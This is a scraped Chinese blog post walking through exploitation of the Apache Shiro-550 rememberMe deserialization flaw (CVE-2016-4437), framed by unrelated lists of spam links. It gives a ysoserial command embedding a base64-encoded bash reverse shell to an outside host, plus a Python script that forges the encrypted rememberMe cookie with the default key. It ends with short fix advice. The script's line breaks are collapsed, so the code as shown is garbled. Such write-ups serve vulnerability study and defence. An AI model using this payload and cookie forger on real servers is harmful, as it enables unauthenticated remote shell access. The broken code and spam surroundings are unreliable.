当前位置: 首页 > news >正文

网络舆情分析的免费网站四川网络推广

网络舆情分析的免费网站,四川网络推广,旅游网站建设与规划,智慧餐厅管理系统shiro Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序漏洞原理 在Apache shiro的框架中,执行身份验证时提供了…

shiro

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序

漏洞原理

在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能RememberMe,如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。

出现问题的点在AES加解密的过程中使用的密钥key。AES是一种对称密钥密码体制,加解密用到是相同的密钥,这个密钥应该是绝对保密的,在shiro版本<=1.2.24的版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==,这样攻击者直接就可以用这个密钥实现上述加密过程,在Cookie字段写入想要服务端执行的恶意代码,最后服务端在对cookie进行解密的时候(反序列化后)就会执行恶意代码。

在这里插入图片描述
在这里插入图片描述

登录时是否选择Remember Me都不影响漏洞的复现。
在这里插入图片描述
生成base64后的反弹shell。

在这里插入图片描述
使用 ysoserial-0.0.6-SNAPSHOT-all.jar工具进行序列化,直接调用对应的模块,添加上自己的payload即可,方便快捷。
在这里插入图片描述

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar  CommonsCollections2  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTI5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser

将序列化后的payload,放到python代码同一目录下,进行aes加密并进行base64转码。在这之前,首先我们要知道shiro的key值是什么,要不然G。当然,目前暴露的shiroKey值很多,可以自己写个脚本进行爆破。我使用的key值是shiro的默认值。
在这里插入图片描述

import sys
import uuid
import base64
from Crypto.Cipher import AESshiro_key = []def getKey(path):with open(path) as file:shiro_key.append(file.readlines())def encode_rememberme(shiro_key):f = open('poc.ser', 'rb')BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode(shiro_key)iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(f.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':# path = "./shiroKey.txt"# getKey(path)shiro_key = 'kPH+bIxk5D2deZiIxcaaaA=='payload = encode_rememberme(shiro_key)print("rememberMe={0}".format(payload.decode()))

将生成的payload,复制到cookie的值处即可,其它的不要动。
下面这个图显示的是使用正确的账户登录显示的内容。
在这里插入图片描述
下面这个图显示的是使用非正确的账户登录显示的内容。
在这里插入图片描述
通过这两个图对比,可以发现,该漏洞不需要正确的账户,即可getshell。有一个前提条件就是需要shiro的key值。
在这里插入图片描述
发完包以后,直接getshell。

总结

shiro550漏洞,漏洞点就在于用户信息反序列化可利用,并且加密的key值给了一个固定的默认值的,导致很多开发人员直接使用,接着导致了洞的产生。

修复建议

1、及时升级shiro版本。(不要忘记升级前做备份。)
2、不再使用固定的密钥加密。

参考链接

shiro反序列化漏洞(CVE-2016-4437)漏洞复现:https://blog.csdn.net/HEAVEN569/article/details/125389987
Shiro-550 漏洞复现:https://blog.csdn.net/qq_46440393/article/details/123493079
shiro550漏洞复现与研究:https://www.163.com/dy/article/GCN65SL20511FSTO.html

http://www.yayakq.cn/news/290626/

相关文章:

  • 在线文档网站源码wordpress 3.8.3
  • 做网站用平板吗佛山建站模板制作
  • 空投糖果网站开发wordpress主题导航调用
  • 网站建设 流程图企业网站建设课件
  • 在荔浦找事情做投简历那个网站南宁网站建设怎么样
  • 国内酷炫网站wordpress logo更换
  • 看动漫是怎么做视频网站网站设计模板怎么使用
  • 中国铁路建设监理协会官方网站太原网站建设推广
  • 济源网站建设价格瑞金网站建设推广
  • 深圳海外医疗网站建设移动互联网开发平台有哪些
  • 北京网站设计浩森宇特百度总部电话
  • 优惠券的网站制作wordpress topic页面
  • 用vuejs做的网站wordpress占用内存过大
  • 网站设计目标 优帮云电池外贸一般在哪些网站做
  • 手机版官方网站的建设怎样建置换平台网站
  • 四川网站建设哪家专业接私活 做网站
  • 做旅游的网站的需求湖州企业网站制作
  • 怎么把文件发送到网站手机端原神
  • 兰州优化网站wordpress附件链接
  • 越南网站 后缀怎么在南京人社网站做失业登记
  • 苏州建网站需要什么网站搭建费用
  • 温州网站推广哪家好管理会计
  • 梁山网站建设电话珠海网站制作网络推广
  • 织梦怎么做门户网站外贸推广网站邮箱收费
  • 手机网站404页面模板网站建设服务收费
  • 写网站论文怎么做毕业设计论文网站开发需要多少钱
  • 网站产品动效怎么做WordPress仿Discuz
  • 只做乡村旅游的网站域名注册和网站哪个好
  • 国内大型网站制作营销策略主要包括哪些
  • 用dw做一个个人网站食品网站建设网站定制开发